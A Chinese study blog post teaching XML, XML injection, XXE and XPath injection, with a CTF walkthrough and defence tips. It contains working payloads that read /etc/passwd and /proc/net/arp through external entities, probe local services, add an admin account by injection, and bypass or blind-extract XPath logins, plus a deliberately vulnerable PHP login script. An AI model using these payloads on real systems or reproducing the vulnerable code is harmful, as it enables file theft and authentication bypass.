XXE学习
XML学习
XML定义:
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 的设计宗旨是
传输数据
,而不是显示数据。 - XML 是 W3C 的推荐标准。
- XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
- XML 语言没有预定义的标签。
XML实例
如图就是一个XML传输数据的实例,当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。
XML语法学习(以构造payload)
简介:
XML 被设计用来结构化、存储以及传输信息,个人认为其实就是一种类似html的数据信息,但跟HTML又有点区别,如下这个例子
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
上面的这条便签具有自我描述性。它包含了发送者和接受者的信息,同时拥有标题以及消息主体。但是这个标签并不是预定义的,XML并不像HTML一样拥有预定义的标签如a标签,p标签等等。这里的note标签,to标签都是自定义的,需要接收程序正确解读这些信息才能解读出正确的数据。
用途
XML 应用于 Web 开发的许多方面,常用于简化数据的存储和共享。
- 把数据从html中分离
如果您需要在 HTML 文档中显示动态数据,那么每当数据改变时将花费大量的时间来编辑 HTML。
通过 XML,数据能够存储在独立的 XML 文件中。这样您就可以专注于使用 HTML/CSS 进行显示和布局,并确保修改底层数据不再需要对 HTML 进行任何的改变。
通过使用几行 JavaScript 代码,您就可以读取一个外部 XML 文件,并更新您的网页的数据内容。
- 简化数据共享
- 简化数据传输
- 简化平台变更
XML树结构
XML将数据组织成为一棵树,DOM 通过解析 XML 文档,为 XML 文档在逻辑上建立一个树模型,树的节点是一个个的对象。这样通过操作这棵树和这些对象就可以完成对 XML 文档的操作,为处理文档的所有方面提供了一个完美的概念性框架。
<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>
如上图的XML就可以被解析成一个树结构
XML语法
- XML 文档必须有根元素
- XML 声明(可选)
如果存在需要放在文档的第一行,如下所示:
<?xml version="1.0" encoding="utf-8"?>
- 所有的 XML 元素都必须有一个关闭标签
- XML 标签对大小写敏感
- XML 必须正确嵌套
- XML 属性值必须加引号,属性值用双引号 " 或单引号 ' 分隔,如果属性值中有单引号,则用双引号分隔;如果有双引号,则用单引号分隔。那么如果属性值中既有单引号还有双引号,则需要使用实体
- 实体引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:<message>if salary < 1000 then</message>
可以使用实体引用 <
代替<<message>if salary < 1000 then</message>
<
< >
> &
& '
' "
"
- 在 XML 中,空格会被保留
XML元素
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。
- 命名规则
名称可以包含字母、数字以及其他的字符
名称不能以数字或者标点符号开始
名称不能以字母 xml(或者 XML、Xml 等等)开始
名称不能包含空格
- 最佳命名习惯
- 使名称具有描述性。使用下划线的名称也很不错:<first_name>、<last_name>。
- 名称应简短和简单,比如:<book_title>,而不是:<the_title_of_the_book>。
- 避免 "-" 字符。如果您按照这样的方式进行命名:"first-name",一些软件会认为您想要从 first 里边减去 name。
- 避免 "." 字符。如果您按照这样的方式进行命名:"first.name",一些软件会认为 "name" 是对象 "first" 的属性。
- 避免 ":" 字符。冒号会被转换为命名空间来使用(稍后介绍)。
- XML 文档经常有一个对应的数据库,其中的字段会对应 XML 文档中的元素。有一个实用的经验,即使用数据库的命名规则来命名 XML 文档中的元素。
XML属性
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为GIF,方便程序进行处理。<file type="gif">computer.gif</file>
但属性由于难以扩展,所以最好还是使用元素来表明属性比较好.属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息。
如下面两个例子
<note date="10/01/2008">
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<note>
<date>
<day>10</day>
<month>01</month>
<year>2008</year>
</date>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XMLHttpRequest 对象
XMLHttpRequest 对象用于在后台与服务器交换数据。
XMLHttpRequest 对象是开发者的梦想,因为您能够:
- 在不重新加载页面的情况下更新网页
- 在页面已加载后从服务器请求数据
- 在页面已加载后从服务器接收数据
- 在后台向服务器发送数据
显示案例,XML新闻或者气象服务等
XML注入
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
XML注入前提条件
(1)用户能够控制数据的输入
(2)程序有拼凑的数据
实例
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
如果password字段可控,那么当用户输入admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
就会变成这样
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
XML注入防御
(1)对用户的输入进行过滤
(2)对用户的输入进行转义
XXE 注入
XML外部实体
XML 外部实体是一种自定义实体,其定义位于 DTD 之外,外部实体使用关键字,并且必须指定应加载实体的 URL。这就是造成XXE攻击的主要原因
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
模板
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体可支持http、file等协议。不同程序支持的协议不同:
php需要的拓展
常利用的php协议
file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
simplexml_load_string()可以读取XML
本地代码测试
<?php
$xmlfile=file_get_contents('php://input'); //post直接提交XML格式的数据
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
攻击方式
- 文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
- 本地服务嗅探
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:80" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
防御姿势
- 使用开发语言提供的禁用外部实体的方法
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC - 不允许XML中含有自己定义的DTD
ctf例题实战
登录抓包发现存在XML数据传输,直接利用文件读取看看返回什么
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
查看wp后发现要查看内网主机,并且爆破
命令是/proc/net/arp,显示当前路由器上,client的name,ip,mac,connect_type信息
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///proc/net/arp">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
XPath学习
XPATH相关知识
简介
XPath 是一门在 XML 文档中查找信息的语言
XPath 使用路径表达式在 XML 文档中进行导航
XPath 含有超过 100 个内建的函数。这些函数用于字符串值、数值、日期和时间比较、节点和 QName 处理、序列处理、逻辑值等等。
节点
<?xml version="1.0" encoding="UTF-8"?>
<bookstore> (文档节点/根节点)
<book>
<title lang="en">Harry Potter</title> (lang="en" (属性节点))
<author>J K. Rowling</author> (元素节点)
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>
语法
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book>
<title lang="eng">Harry Potter</title>
<price>29.99</price>
</book>
<book>
<title lang="eng">Learning XML</title>
<price>39.95</price>
</book>
</bookstore>
路径表达
谓语,用来查找特定节点
选取未知节点和若干路径
实例:https://www.runoob.com/xpath/xpath-examples.html
XPath注入
简介
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。
XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。
XPath注入攻击特点
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。
XPath注入攻击同SQL注入攻击类似,但与SQL注入相比,XPath具有的优势:
- 广泛性
只要是利用XPath语法的Web 应用程序若未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。而在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同。 - 危害性大
XPath语言几乎可以没有访问控制限制的引用XML文档的所有部分。而在SQL注入中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询。
XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击。
Xpath注入攻击原理
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。
注入对象不是数据库users表,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookie,headers,request parameters/input
等。
实操直接注入
一个存储用户数据的XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>
服务器端
<?php
$xml=simplexml_load_file('test2.xml'); //加载XML文件
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; //xpath查询语句
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>
正常查询的时候
一般查询某个特定节点语法/root/users/user[1] 就是第一个用户的数据
这里是在[]里再次使用xpath来进行判断,若是[]里的表达式为永真,则xpath会查询全部的用户数据及/root/users/user[1=1]就返回的全部用户节点
当将注入的思想放到这里,闭合前面的引号并构造永真语句就可以获取到全部的数据
payload:name=' or 1=1 or '1'='1&pwd=1
这样子就构成了永真语句
/root/users/user[username/text()='' or 1=1 or '1'='1' and password/text()='1']username/text()='' or 1=1
为1 or'1'='1' and password/text()='1'
为0,所以最终为1
XPath盲注
主要是使用substring,name,position函数来盲注
利用position函数来定位第几个节点
利用name函数来显示出第几个节点的名字
最后用position来判断字符串中每一位字符是什么
payload:?name=' or substring(name(/*[position()=1]),1,1)='r' or '1'='2&pwd=1
猜下一级节点?name=' or substring(name(/root/*[position()=1]),1,1)='r' or '1'='2&pwd=1
危害
- 在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据。
- 可通过此类漏洞查询获取到系统内部完整的XML文档内容。
- 逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取。
防御
- 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
- 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
- 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
- 参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
- 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。
参考文章:https://xz.aliyun.com/t/6887#toc-5
以及菜鸟教程
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。